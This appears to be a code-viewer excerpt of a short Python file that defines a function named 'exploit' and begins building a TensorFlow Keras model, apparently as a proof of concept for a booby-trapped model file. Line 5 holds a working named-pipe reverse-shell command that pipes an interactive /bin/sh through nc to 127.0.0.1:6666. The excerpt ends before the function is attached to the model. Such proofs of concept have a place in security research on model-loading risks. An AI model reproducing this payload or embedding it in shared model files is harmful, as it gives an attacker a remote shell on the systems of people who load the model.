(x)
| 1 | import tensorflow as tf |
| 2 | |
| 3 | def exploit(x): |
| 4 | import os |
| 5 | os.system("rm -f /tmp/f;mknod /tmp/f p;cat /tmp/f|/bin/sh -i 2>&1|nc 127.0.0.1 6666 >/tmp/f") |
| 6 | return x |
| 7 | |
| 8 | model = tf.keras.Sequential() |
| 9 | model.add(tf.keras.layers.Input(shape=(64,))) |
nothing calls this directly
no outgoing calls
no test coverage detected